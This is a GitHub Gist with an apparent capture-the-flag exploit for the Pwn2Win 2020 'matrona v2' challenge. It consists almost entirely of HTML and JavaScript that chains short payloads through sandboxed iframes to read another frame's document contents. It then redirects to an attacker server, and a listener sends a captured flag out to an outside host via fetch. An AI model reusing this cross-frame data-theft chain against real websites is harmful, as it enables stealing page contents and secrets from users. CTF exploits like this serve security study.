Last active
April 26, 2023 22:01
-
-
Save icchy/23f76340de55fca8fcf8c94ebbfdf0d2 to your computer and use it in GitHub Desktop.
Pwn2Win 2020 matrona v2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<iframe id="ifr0" src="https://matrona.club/?calc=A.B=B" width=1000 height=500 sandbox="allow-scripts allow-top-navigation allow-same-origin allow-forms"></iframe> | |
<iframe id="ifr1" src="https://matrona.club/?calc=A.B=B" width=1000 height=500 sandbox="allow-scripts allow-top-navigation allow-same-origin allow-forms"></iframe> | |
<script> | |
window.addEventListener('hashchange', (evt) => { | |
const flag = evt.newURL.match(/CTF-BR\{.*\}/)[0] | |
fetch(`//tool.tonkatsu.info/?flag=${encodeURIComponent(flag)}`) | |
}) | |
</script> | |
<script> | |
const wait = (sec) => new Promise(res => setTimeout(res, sec)) | |
const urls = {} | |
const baseURL = 'https://matrona.club/?calc=' | |
const ns = [ | |
document.querySelector('#ifr0').contentWindow, | |
document.querySelector('#ifr1').contentWindow, | |
] | |
const nsURL = "https://matrona.club/?calc=A.B=B" | |
const reloadT = async (idx) => { | |
ns[idx].location =`${nsURL}#${Math.random()}` | |
await(100) | |
} | |
const prepare = async (idx1, idx2, payload, data) => { | |
if (payload.length>8) throw new Error(`length limit: ${payload}`) | |
const p = urls[`${idx1}:${idx2}`] = `${baseURL}${encodeURIComponent(payload)}` | |
console.log(p) | |
ns[idx1].frames[idx2].location = p | |
await wait(500) | |
} | |
const reload = async (idx1, idx2) => { | |
if (urls[`${idx1}:${idx2}`] === undefined) throw new Error(`payload is not set for ${idx1}, ${idx2}`) | |
ns[idx1].frames[idx2].location = `${urls[`${idx1}:${idx2}`]}#${Math.random()}` | |
await wait(100) | |
} | |
const exec = async (idx1, idx2, payload, r=true) => { | |
await prepare(idx1, idx2, payload) | |
if (r) { | |
await reloadT(idx1) | |
} | |
await reload(idx1, idx2) | |
} | |
const assign = async (idx, x, y, z, assign=true) => { | |
await exec(idx, 0, `B.y=${y}`) | |
await exec(idx, 0, `B.z="${z.substring(0, 2)}"`) | |
if (z.length > 2) { | |
for (let i = 2; i < z.length; i++) { | |
await exec(idx, 0, `B.z+="${z[i]}"`) | |
} | |
} | |
reload(idx, 1) // B.x=B.y[B.z] is executed | |
if (assign) { | |
await exec(idx, 0, `B.${x}=B.x`) | |
} | |
} | |
const assign2 = async (idx, x, y) => { | |
await exec(idx, 0, `B.${x}="${y.substring(0, 2)}"`) | |
if (y.length > 2) { | |
for (let i = 2; i < y.length; i++) { | |
await exec(idx, 0, `B.${x}+="${y[i]}"`) | |
} | |
} | |
} | |
main = async () => { | |
await wait(2000) | |
await exec(0, 0, 'name="A"', false) | |
await exec(0, 1, 'name="B"', false) | |
await exec(1, 0, 'name="A"', false) | |
await exec(1, 1, 'name="B"', false) | |
await prepare(0, 1, 'w.x=y[z]') | |
await prepare(1, 1, 'x[y]=z') | |
await exec(0, 0, `B.w=B`) | |
await assign(0, 'a', 'B', 'parent') | |
await assign(0, 'b', 'B.a', 'parent') | |
await assign(0, 'c', 'B.b', 'frames') | |
await assign(0, 'd', 'B.c', '1') | |
await assign(0, 'e', 'B.d', 'B') // ns0.B.e => ns1.B | |
await assign(0, 'f', 'B', 'document') | |
await assign(0, 'g', 'B.f', 'body') | |
await assign(0, 'h', 'B.g', 'innerHTML') | |
await exec(0, 0, `B.w=B.e`) | |
reload(0, 1) // w.x=y[z] | |
await exec(1, 0, `B.a=B.x`) // ns1.B.a = 'http://[server]/#'+ns0.B.document.body.innerHTML | |
await exec(0, 0, `B.w=B`) | |
await assign(0, 'j', 'B', 'parent') | |
await assign(0, 'k', 'B.j', 'parent') | |
await exec(0, 0, `B.w=B.e`) | |
reload(0, 1) // w.x=y[z] | |
await assign2(1, 'z', `http://[server]/q.html#`) | |
await exec(1, 0, `B.z+=B.a`) | |
await assign2(1, 'y', 'location') | |
reload(1, 1) // x[y]=z => parent.parent.location = 'http://[server]/q.html#{innerHTML}' | |
} | |
main() | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment